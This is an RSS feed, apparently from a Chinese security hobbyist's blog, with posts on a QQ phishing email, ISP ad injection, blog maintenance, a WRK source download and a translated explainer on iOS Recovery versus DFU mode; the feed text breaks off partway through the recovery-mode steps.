<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>火星信息安全研究院经验总结『Skills Summary』</title>
	<atom:link href="http://www.h4ck.org.cn/category/jyzj/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.h4ck.org.cn</link>
	<description>Hack-Crack  信息安全 【Institute Of Information Serurity From Mars】</description>
	<lastBuildDate>Sat, 04 Feb 2012 13:59:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>钓鱼啦，钓鱼啦！</title>
		<link>http://www.h4ck.org.cn/2012/01/phishing/</link>
		<comments>http://www.h4ck.org.cn/2012/01/phishing/#comments</comments>
		<pubDate>Wed, 18 Jan 2012 06:14:12 +0000</pubDate>
		<dc:creator>obaby</dc:creator>
				<category><![CDATA[杀毒安全『AntiVirus』]]></category>
		<category><![CDATA[QQ]]></category>

		<guid isPermaLink="false">http://www.h4ck.org.cn/?p=3676</guid>
		<description><![CDATA[钓鱼啦，钓鱼啦！]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2012/01/xinggan2.png" rel="lightbox" title="xinggan2"><img title="xinggan2" src="http://www.h4ck.org.cn/wp-content/uploads//2012/01/xinggan2.png" alt="" width="663" height="639" /></a></p>
<p>今天从QQ群收到一封邮件说要我们给什么东东投票。既然是师兄发的那就瞅瞅吧。<span id="more-3676"></span></p>
<p>内容是下面的样子滴:</p>
<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2012/01/mail.png" rel="lightbox" title="mail"><img title="mail" src="http://www.h4ck.org.cn/wp-content/uploads//2012/01/mail.png" alt="" width="716" height="611" /></a></p>
<p>链接显示的是什么人人(<span style="color: #ff0000;">http://share.renren.com/share/438399246/11130620039</span>)，看起来还是比较安全的。但是点击了之后却跳到了QQ空间，还是个乱七八糟的什么域名。</p>
<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2012/01/Mima.png" rel="lightbox" title="Mima"><img title="Mima" src="http://www.h4ck.org.cn/wp-content/uploads//2012/01/Mima.png" alt="" width="736" height="689" /></a></p>
<p>话说TX还出过这种域名，真不专业啊，不专业。当俺是傻子啊。随便乱输就会提示错误。这个钓鱼一般都这么做，俺也这么做过。因为要跳转到常规的登录页面。所以趁着错误提示赶紧记录帐户和密码。</p>
<p>再次登陆一下呢，就蹦到下面去了。</p>
<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2012/01/xinggan.png" rel="lightbox" title="xinggan"><img title="xinggan" src="http://www.h4ck.org.cn/wp-content/uploads//2012/01/xinggan.png" alt="" width="737" height="710" /></a></p>
<p>因为这个错误提示就出一次，懒得清空cookie了，所以那个错误提示使用chrome截图的。这个还不是最终页面，过了上面的tx的空间载入动画就到了最终的目的地了。就是第一张图，性感吧?哈哈。</p>
<p><span style="font-family: 'arial black', 'avant garde'; color: #ff00ff;">所以说：上网也小心，谨防意外生 <img src='http://www.h4ck.org.cn/wp-content/plugins/smilies-themer/Julianus/20x20-big_smile.png' alt=':)' class='wp-smiley' /> !(尤其是快过年了撒！) </span><br />
<h3>相关文章</h3>
<ul class="related_posts">
<li><a href="http://www.h4ck.org.cn/2009/08/qqcar-helper/" title="QQ停车位全能助手V1.35 绿色去广告版" rel="bookmark inlinks">QQ停车位全能助手V1.35 绿色去广告版</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/10/qqv2-5/" title="QQ农场管家辅助V2.5 绿色版" rel="bookmark inlinks">QQ农场管家辅助V2.5 绿色版</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/08/qq-hack-fucking-cool/" title="《玩转QQ系列——QQ黑客4》火爆袭来，带你体验不一样的QQ！Fucking Cool！！" rel="bookmark inlinks">《玩转QQ系列——QQ黑客4》火爆袭来，带你体验不一样的QQ！Fucking Cool！！</a><span class="count">( 3 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/11/webqq/" title="WebQQ 0.1(单文件版)" rel="bookmark inlinks">WebQQ 0.1(单文件版)</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/12/linux-qq/" title="话说Linux QQ竟然升级了" rel="bookmark inlinks">话说Linux QQ竟然升级了</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/12/qq-international-v1-01910-today-remover/" title="QQ International V1.0(1910) Today Remover [Bug Fixed]" rel="bookmark inlinks">QQ International V1.0(1910) Today Remover [Bug Fixed]</a><span class="count">( 14 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/04/qq-message-logger-view/" title="QQ聊天记录保存查看器2008第五版 {破解版/内存注册机}" rel="bookmark inlinks">QQ聊天记录保存查看器2008第五版 {破解版/内存注册机}</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/12/qq-international-1-22112-self-check-patch/" title="QQ International 1.2(2112) Self Check Patch" rel="bookmark inlinks">QQ International 1.2(2112) Self Check Patch</a><span class="count">( 8 )</span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.h4ck.org.cn/2012/01/phishing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>劫持你妈啊，劫持，你妈逼的中国电信</title>
		<link>http://www.h4ck.org.cn/2011/11/fuck-china-telcom/</link>
		<comments>http://www.h4ck.org.cn/2011/11/fuck-china-telcom/#comments</comments>
		<pubDate>Sun, 13 Nov 2011 08:19:15 +0000</pubDate>
		<dc:creator>obaby</dc:creator>
				<category><![CDATA[博客相关『Blogger/WordPress』]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[景*德*镇]]></category>

		<guid isPermaLink="false">http://www.h4ck.org.cn/?p=3353</guid>
		<description><![CDATA[劫持你妈啊，劫持，你妈逼的中国电信]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/114-P1.png" rel="lightbox" title="114-P1"><img title="114-P1" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/114-P1.png" alt="" width="596" height="377" /></a></p>
<p>昨天下午的时候忽然发现在访问blog的时候竟然在状态栏出现了链接cnzz、51la以及淘宝的链接提示，话说自己现在已经不用国内的统计了，怎么tmb的还有链接提示，更不用说淘宝的广告了。而观察了一下页面发现右边出现了这么一个2b东西，114，并且页面做的和我原来的那个窗口大小整合式，不知道的可能还以为我是的内嵌广告呢！</p>
<p>这一招够狠啊，能和我的边栏小工具做的一样，真牛b。然而更牛逼的还不是这里，等我想要看下那个牛b的网页的加载地址的和嵌入网页代码的时候刷新了一下竟然发现没了，我操。你妈逼的果然是老流氓啊，干了就跑，跑的比兔子还快。今天下午又看到那个2b东西了，但是发现位置又到了这个空间的上面的一个小工具里。<br />
<span id="more-3353"></span><br />
<a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/114-P2.png" rel="lightbox" title="114-P2"><img title="114-P2" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/114-P2-1024x424.png" alt="" width="717" height="297" /></a></p>
<p>大体看了一下那个鸟东西替换的都是Google friend connect服务的小工具，但是在我今天下午想去找到那个鸟代码的时候发现tmb的又找不到了。日，电信你真tmb的贱啊，然而这还不是最关键的是，关键是使用台湾的vpn的sock5代理依旧能出现这个2b广告，而不是用代理在国内无法访问的时候那个gfc直接显示连接被重置，却没有弹出广告。这个神出鬼没的2b广告也不是到用的是什么算法，并且这个广告看来针对的都是需要翻墙的用户。电信真tmbd贱啊。</p>
<p>下午刷了一会儿没结果，于是去睡了一觉，睡醒了，又刷了一次那个2b广告又出来了，操，简直是打不死的蟑螂啊。</p>
<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/114-P3.png" rel="lightbox" title="114-P3"><img title="114-P3" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/114-P3.png" alt="" width="690" height="318" /></a></p>
<p>不过用firebug还是找到了这个2b东西的代码，结果拷出来一看mlgb的竟然有将近700行，我整个页面加载下来也没几个700行啊，你妈逼的一个流氓窗口就加载了700行代码，还加了好几个站点的统计。统计你妈逼啊统计！</p>
<p>点进去是个什么114so的屌网站：</p>
<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/114so.png" rel="lightbox" title="114so"><img title="114so" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/114so.png" alt="" width="699" height="510" /></a></p>
<p>用bing的搜索自己加了个皮就成了114搜，这也够恶心人的，有技术的人不去研究技术研究流氓窗口dns劫持，蹦出来恶心人。自然这也是天朝特色。</p>
<p>电信为了这个鸟东西应该是下了功夫的，为了达到掩人耳目的效果，从出现广告页的地方直接点击查看网页，对应的窗口显示的还是原来的代码。</p>
<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/sc.png" rel="lightbox" title="sc"><img title="sc" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/sc.png" alt="" width="737" height="436" /></a></p>
<p>这一招狠啊，没有三两三还真的就让这个2b广告给唬住了，以为显示的还是原来的gfc的窗口。而这个窗口里面实际的代码则是下面的样子：</p>
<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/f114.png" rel="lightbox" title="f114"><img title="f114" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/f114-1024x421.png" alt="" width="717" height="295" /></a></p>
<p><strong><span style="color: #ff00ff;">不过刚才提到所谓的dns劫持和搜索劫持忽然让我想明白了一件事情。这个东西其实并不是特地为了我的那个小窗口设计的而是在访问的过程中由于gfw的阻拦导致gfc访问失败，而那个流氓电信又劫持了搜索引擎，自动搜索了一些2b玩意儿显示到了窗口。由于那个窗口禁用了滚动条，所以显示的就只有上面的一些东西，直接在那个114中搜索一下拉动了一下窗口发现完全就是那个东西</span></strong>：</p>
<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/gfw.png" rel="lightbox" title="gfw"><img title="gfw" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/gfw.png" alt="" width="273" height="291" /></a></p>
<p>现在这个东西的效果就和右侧的东西看起来一样了，唯一的差别是ff西面还有个滚动条，所以显示起来还是有区别的。<br />
<h3>相关文章</h3>
<ul class="related_posts">
<li><a href="http://www.h4ck.org.cn/2009/12/900/" title="手机涉黄鉴定900元起" rel="bookmark inlinks">手机涉黄鉴定900元起</a><span class="count">( 2 )</span></li>
<li><a href="http://www.h4ck.org.cn/2012/01/android-app-ads-remove/" title="Android App Ads Remove" rel="bookmark inlinks">Android App Ads Remove</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/12/that-year/" title="那一年" rel="bookmark inlinks">那一年</a><span class="count">( 2 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/12/hard-china/" title="当年投胎选了hard模式，结果生在中国[转载]" rel="bookmark inlinks">当年投胎选了hard模式，结果生在中国[转载]</a><span class="count">( 2 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/12/btchina/" title="BTChina因证件不全被关" rel="bookmark inlinks">BTChina因证件不全被关</a><span class="count">( 2 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/04/google-and-my-great-china/" title="Google 推出支持中国青海震灾救援专题页面" rel="bookmark inlinks">Google 推出支持中国青海震灾救援专题页面</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/06/google-music-player-beta-v1-0/" title="Google Music Player Beta v1.0" rel="bookmark inlinks">Google Music Player Beta v1.0</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/11/gappproxy/" title="GAppProxy被频繁重置" rel="bookmark inlinks">GAppProxy被频繁重置</a><span class="count">( 0 )</span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.h4ck.org.cn/2011/11/fuck-china-telcom/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>博客的再次改变</title>
		<link>http://www.h4ck.org.cn/2011/11/blog-improvement-2/</link>
		<comments>http://www.h4ck.org.cn/2011/11/blog-improvement-2/#comments</comments>
		<pubDate>Sat, 12 Nov 2011 08:05:52 +0000</pubDate>
		<dc:creator>obaby</dc:creator>
				<category><![CDATA[个人日记『Diary』]]></category>
		<category><![CDATA[博客相关『Blogger/WordPress』]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.h4ck.org.cn/?p=3313</guid>
		<description><![CDATA[博客的再次改变]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/count.png" rel="lightbox" title="count"><img title="count" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/count.png" alt="" width="692" height="414" /></a></p>
<p>上面的这个图是现在使用的统计代码的后台，（如果没猜错的话，刚才那个夭折的文章的第一句就是前面的这一句。但是我想不明白啊，怎么莫名其妙的要自己关机呢，话说关机就关机嘛，怎么wp也没有自动保存草稿呢。取消关机之后打开浏览器发现文章没了啊，没了……），之所以换这么一个后台主要的原因还是因为现在自己用的那个纳斯博客的统计显示了太多的错误数据，统计的地理位置明显是错误的。<br />
<span id="more-3313"></span><br />
<a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/nasbq.png" rel="lightbox[3313]" title="nasbq"><img title="nasbq" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/nasbq.png" alt="" width="647" height="125" /></a></p>
<p>在统计后台看到了好多来自美国的访问，但是实际上在Google的后台并没有那么多的来自美国的访问量。上面是提到的更换统计代码的第一个原因。第二个原因是虽然加了Google分析的统计代码，但是由于众所周知的原因Google的服务具有非常大的不稳定性，要看个统计还要经常的翻墙。<br />
所谓的第三个原因则是现在虽然国内有众多的统计服务，但是统计的后台看起来也没有什么大的特色，并且博客的服务器在北美，而为了统计一个访问量要先到国内获取个访问统计数据，然后在返回到北美显示出来，这个东西现在看起来非常蛋疼，而相对于在美国本土的各种服务速度则要快得多。<br />
在换了新的统计代码之后顺便把小插件右侧那个统计代码和总访问量的统计换了一下显示方式，放到了一起，就是现在的那个饼状的东东。</p>
<p><img title="count2" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/count2.png" alt="" width="253" height="168" /></p>
<p>现在上面显示的总访问量还是从以前的访问数据添加上去直接显示的，histats的这一功能还是不错的，换了统计服务之后可以设置统计的起始总页面访问量和人数访问量。这样就不用担心新的统计数据无法在原有的基础之上进行累加。<br />
话说最近Google pr更新了，于是查询了一下现在两个域名都已经更新到3了，而以前的那个ws的域名pr则是0，这个域名的pr上升的还是挺快的。</p>
<p><img title="ORG" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/ORG.png" alt="" width="432" height="160" /></p>
<p><img title="ws" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/ws.png" alt="" width="410" height="138" /><br />
今天还在<a href="http://www.duyuxian.info" target="_blank">小白</a>那里发现了一个更好玩的东东，她把<a href="http://www.duyuxian.info/2011/翻山越岭看美景/" target="_blank">Google +1</a>的按钮放到了文章标题的右侧，这个做法不过是看起来还是在实际的阅读过程中感觉都是很不错的。</p>
<p><img title="+1" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/+1.png" alt="" width="243" height="33" /><br />
另外还在她那里发现了一个图标比较大的分享按钮工具栏：</p>
<p><img title="share" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/share.png" alt="" width="284" height="40" /><br />
不过在opera下显示的却是有些问题，有好多的图标显示不出来，需要把鼠标放上去才能看到具体的图标是个什么东东，话说俺又被抛弃啦。</p>
<p><img title="5" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/5.png" alt="" width="285" height="39" /></p>
<p>这种按钮比我现在用的那种需要把鼠标放上去才能显示的分享按钮要直观一些，不过现在我的那种代码还能用。所以目前还没有换掉的打算嘎嘎。</p>
<p><img title="Mshare" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/Mshare.png" alt="" width="335" height="214" /></p>
<p>&nbsp;</p>
<p>另外为了不让那些牛b的黑客再次把我的blog数据全部删掉，现在已经开始往ftp服务器上备份了。嘎嘎。<br />
<h3>相关文章</h3>
<ul class="related_posts">
<li><a href="http://www.h4ck.org.cn/2011/12/kis-2012/" title="卡巴斯基安全部队2012" rel="bookmark inlinks">卡巴斯基安全部队2012</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/09/wordpress-tags-add/" title="WordPress 正文添加标签选项" rel="bookmark inlinks">WordPress 正文添加标签选项</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/11/h4ck/" title="WP绑定多个域名" rel="bookmark inlinks">WP绑定多个域名</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/12/site-value/" title="博客/网站价值评估工具" rel="bookmark inlinks">博客/网站价值评估工具</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/11/%e5%8d%9a%e5%ae%a2%e6%98%a8%e5%a4%a9%e4%b8%8b%e5%8d%88%e8%a2%ab%e9%98%bf%e6%8b%89%e4%bc%af%e7%9a%84%e4%b8%80%e4%b8%aa%e8%b4%b1%e8%b4%a7%e7%bb%99%e9%bb%91%e4%ba%86/" title="博客昨天下午被阿拉伯的一个贱货给黑了" rel="bookmark inlinks">博客昨天下午被阿拉伯的一个贱货给黑了</a><span class="count">( 2 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/10/wpadmin-404-and-500-error/" title="wp-admin 诡异的404和500错误" rel="bookmark inlinks">wp-admin 诡异的404和500错误</a><span class="count">( 2 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/11/h4ck-ws/" title="新域名 h4ck.ws" rel="bookmark inlinks">新域名 h4ck.ws</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/09/core-ftp-pro-v2-2-build-1687-serial-number/" title="Core FTP Pro v2.2 build 1687 Serial Number" rel="bookmark inlinks">Core FTP Pro v2.2 build 1687 Serial Number</a><span class="count">( 2 )</span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.h4ck.org.cn/2011/11/blog-improvement-2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WRK 1.2 Souce Code</title>
		<link>http://www.h4ck.org.cn/2011/11/wrk-1-2-souce-code/</link>
		<comments>http://www.h4ck.org.cn/2011/11/wrk-1-2-souce-code/#comments</comments>
		<pubDate>Wed, 09 Nov 2011 14:07:41 +0000</pubDate>
		<dc:creator>obaby</dc:creator>
				<category><![CDATA[操作系统『Operating System』]]></category>
		<category><![CDATA[经验总结『Skills Summary』]]></category>
		<category><![CDATA[驱动开发]]></category>

		<guid isPermaLink="false">http://www.h4ck.org.cn/?p=3304</guid>
		<description><![CDATA[WRK 1.2 Souce Code]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/WRK.png" rel="lightbox" title="WRK"><img title="WRK" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/WRK-1024x554.png" alt="" width="717" height="388" /></a></p>
<p><a href="http://dl.dbank.com/c0frwa61kf" target="_blank">Click here to download the source code!</a><br />
<h3>相关文章</h3>
<ul class="related_posts">
<li><a href="http://www.h4ck.org.cn/2011/06/usb-over-network-server-vmware-workstation-7-1-bsod/" title="USB over Network (Server) &#038; VMWare WorkStation 7.1 BSOD" rel="bookmark inlinks">USB over Network (Server) &#038; VMWare WorkStation 7.1 BSOD</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/09/driverdevelop3-3/" title="驱动开发学习笔记（3-3）–Four-F的驱动开发教程-服务" rel="bookmark inlinks">驱动开发学习笔记（3-3）–Four-F的驱动开发教程-服务</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/09/driverdevelop3-4/" title="驱动开发学习笔记（3-4）–Four-F的驱动开发教程-最简单的设备驱动程序" rel="bookmark inlinks">驱动开发学习笔记（3-4）–Four-F的驱动开发教程-最简单的设备驱动程序</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/10/srvinstw-exe-fixed/" title="SRVINSTW.EXE Fixed" rel="bookmark inlinks">SRVINSTW.EXE Fixed</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/10/inf-1/" title="驱动开发学习笔记（4-1）–INF文件-1" rel="bookmark inlinks">驱动开发学习笔记（4-1）–INF文件-1</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/05/hello-world-2/" title="Hello Apple" rel="bookmark inlinks">Hello Apple</a><span class="count">( 2 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/09/driverdevelop3-5/" title="驱动开发学习笔记（3-5）–Four-F的驱动开发教程-I/O子系统" rel="bookmark inlinks">驱动开发学习笔记（3-5）–Four-F的驱动开发教程-I/O子系统</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/09/driverdevelop3-1/" title="驱动开发学习笔记（3-1）--Four-F的驱动开发教程-前言" rel="bookmark inlinks">驱动开发学习笔记（3-1）&#8211;Four-F的驱动开发教程-前言</a><span class="count">( 0 )</span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.h4ck.org.cn/2011/11/wrk-1-2-souce-code/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>博客的一些改变</title>
		<link>http://www.h4ck.org.cn/2011/11/%e5%8d%9a%e5%ae%a2%e7%9a%84%e4%b8%80%e4%ba%9b%e6%94%b9%e5%8f%98/</link>
		<comments>http://www.h4ck.org.cn/2011/11/%e5%8d%9a%e5%ae%a2%e7%9a%84%e4%b8%80%e4%ba%9b%e6%94%b9%e5%8f%98/#comments</comments>
		<pubDate>Fri, 04 Nov 2011 17:29:35 +0000</pubDate>
		<dc:creator>obaby</dc:creator>
				<category><![CDATA[个人日记『Diary』]]></category>
		<category><![CDATA[博客相关『Blogger/WordPress』]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[心情]]></category>

		<guid isPermaLink="false">http://h4ck.org.cn/?p=3271</guid>
		<description><![CDATA[博客的一些改变]]></description>
			<content:encoded><![CDATA[<p>前几天博客被黑了，很多的事情也在另外一篇文章中提到了，丢失了一些东西。其实对于这种喜欢炫耀技术和没有什么职业道德的黑客一向没有什么好感。本人在注入之类的网站入侵技术上没什么见解，更不会什么高深的技术。所以也就只有任人宰割的地方，人为刀俎，我为鱼肉。</p>
<p>今天晚上重新处理了一下blog上的一些东西，去掉了所有的广告，现在加载速度也有了一定的提升，其实提供了一年的广告不过挣了少的可怜的一点钱。</p>
<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/ads1.jpg" rel="lightbox" title="ads1"><img title="ads1" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/ads1.jpg" alt="" width="648" height="351" /></a></p>
<p>做了这么久，就这么点钱，也没想过要拿到手，于是就直接改了一下。直接做了公益。<br />
<span id="more-3271"></span><br />
<a href="http://www.h4ck.org.cn/wp-content/uploads//2011/11/ads2.jpg" rel="lightbox" title="ads2"><img title="ads2" src="http://www.h4ck.org.cn/wp-content/uploads//2011/11/ads2.jpg" alt="" width="687" height="251" /></a></p>
<p>自此之后也不准备再投放任何的广告了，由于博客的受众比较小。因为投放的广告也没有什么太多的意义。去掉广告提升一些加载速度吧。</p>
<p>另外升级了一下插件，去掉了所有没有启用的插件。最后在添加博客版权的地方出现了一个东西，其实是一个链接。这里把协助推广给去掉了，但是感谢<a href="http://easwy.com/" target="_blank"> Easwy Yang</a>提供的优秀插件，该地址已经添加到链接表中。就现在的状况看来，博客会保持这个状态一阵子。尽量还是走简洁的路线，不去搞一些花花绿绿的东西，记录一些有用的东西。</p>
<p>如果那天哪个伟大的niub黑客又黑掉了我的网站，请保持本站数据的完整性，谢谢！<br />
<h3>相关文章</h3>
<ul class="related_posts">
<li><a href="http://www.h4ck.org.cn/2010/07/u-or-mejust-give-upno/" title="U or Me?Just Give UP?NO!" rel="bookmark inlinks">U or Me?Just Give UP?NO!</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/09/some-memoris-filebinder-cracked/" title="一些回忆&#038;万能文件捆绑器 V1.1破解版" rel="bookmark inlinks">一些回忆&#038;万能文件捆绑器 V1.1破解版</a><span class="count">( 2 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/11/h4ck/" title="WP绑定多个域名" rel="bookmark inlinks">WP绑定多个域名</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/04/happy-birthday-to-myself/" title="Happy Birthday To Myself!" rel="bookmark inlinks">Happy Birthday To Myself!</a><span class="count">( 2 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/08/alive/" title="活着 " rel="bookmark inlinks">活着 </a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/07/wp-300m-bandwidth/" title="博客莫名其妙夜里会有300M的流量" rel="bookmark inlinks">博客莫名其妙夜里会有300M的流量</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/04/love-letter/" title="充满了赤诚爱意的情书" rel="bookmark inlinks">充满了赤诚爱意的情书</a><span class="count">( 3 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/03/i-am-not-a-lier/" title="我是个说真话的孩子 『杜小白』" rel="bookmark inlinks">我是个说真话的孩子 『杜小白』</a><span class="count">( 2 )</span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.h4ck.org.cn/2011/11/%e5%8d%9a%e5%ae%a2%e7%9a%84%e4%b8%80%e4%ba%9b%e6%94%b9%e5%8f%98/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>iOS设备 恢复模式和DFU模式的区别【翻译】</title>
		<link>http://www.h4ck.org.cn/2011/09/recovery-mode-and-dfu-mode/</link>
		<comments>http://www.h4ck.org.cn/2011/09/recovery-mode-and-dfu-mode/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 03:28:32 +0000</pubDate>
		<dc:creator>obaby</dc:creator>
				<category><![CDATA[经验总结『Skills Summary』]]></category>
		<category><![CDATA[iOS]]></category>

		<guid isPermaLink="false">http://www.h4ck.org.cn/?p=3160</guid>
		<description><![CDATA[iOS设备 恢复模式和DFU模式的区别【翻译】
恢复模式和DFU模式最大的不同在于是否启动了iBoot。在恢复模式下系统使用iBoot来进行固件的回复和升级，而在DFU模式下系统则不会启动iBoot，因而你可以在DFU模式下进行固件的降级。iBoot是iOS设备上的启动加载器，当你在回复模式下进行系统恢复或者升级的时候，iBoot会检测你要升级的固件版本，以确保你要升级的固件版本比当前系统的固件版本要新（版本号更高）。如果要升级的固件版本比系统当前安装的固件版本要低的话，iBoot将会禁止附件的恢复。因为这个原因所以要进行固件的降级则必须要将设备切换到DFU模式下。这也就意味着如果你需要恢复当前的固件版本，只需要将设备切换到恢复模式即可，iTunes会接管接下来的恢复工作；如果你需要将固件进行降级，你需要进入到DFU模式下。比如，在没有进入DFU模式的情况下，你不能将你的固件从3.0降级到2.2.1.]]></description>
			<content:encoded><![CDATA[<p>恢复模式和DFU模式最大的不同在于是否启动了iBoot。在恢复模式下系统使用iBoot来进行固件的回复和升级，而在DFU模式下系统则不会启动iBoot，因而你可以在DFU模式下进行固件的降级。iBoot是iOS设备上的启动加载器，当你在回复模式下进行系统恢复或者升级的时候，iBoot会检测你要升级的固件版本，以确保你要升级的固件版本比当前系统的固件版本要新（版本号更高）。如果要升级的固件版本比系统当前安装的固件版本要低的话，iBoot将会禁止附件的恢复。因为这个原因所以要进行固件的降级则必须要将设备切换到DFU模式下。这也就意味着如果你需要恢复当前的固件版本，只需要将设备切换到恢复模式即可，iTunes会接管接下来的恢复工作；如果你需要将固件进行降级，你需要进入到DFU模式下。比如，在没有进入DFU模式的情况下，你不能将你的固件从3.0降级到2.2.1.</p>
<p><a href="http://www.h4ck.org.cn/wp-content/uploads//2011/09/Recover-mode-and-DFU-mode.png" rel="lightbox" title="Recover mode and DFU mode"><img title="Recover mode and DFU mode" src="http://www.h4ck.org.cn/wp-content/uploads//2011/09/Recover-mode-and-DFU-mode.png" alt="" width="364" height="260" /></a></p>
<p><strong><span style="color: #800000;">恢复模式：</span></strong><span style="color: #0000ff;"><em>恢复模式是设备在常规的恢复或者升级的时候正常启动iBoot下的一种状态。由于在恢复模式下iBoot是正常启动的，因而它不允许你降级你设备上的固件。并且，除非iBoot被破解，否则它不允许安装自定义的固件。</em></span><br />
<span id="more-3160"></span><br />
<span style="color: #800000;"><strong>DFU模式：</strong></span><span style="color: #0000ff;"><em>这是一种依旧可以和iTunes正常连接的一种特殊模式，在这种模式下系统将不会启动iBoot进程。在DFU模式下，设备将会显示一个完全的黑屏。所以在这种模式下你没有办法通过观察设备屏幕来判断是否已经进入DFU模式还是系统当前处于关机状态。在这种状态下我们可以使用专门的工具（Pwnage tool.）来进行固件的降级或者安装用户自己制作的固件。</em></span></p>
<p><span style="color: #ff00ff;"><strong>进入恢复模式：</strong></span></p>
<ol>
<li><span style="color: #993366;">彻底关闭设备，并且将设备与PC断开连接；</span></li>
<li><span style="color: #993366;">按住Home键；</span></li>
<li><span style="color: #993366;">在长按Home键的同时将设备连接到计算机；</span></li>
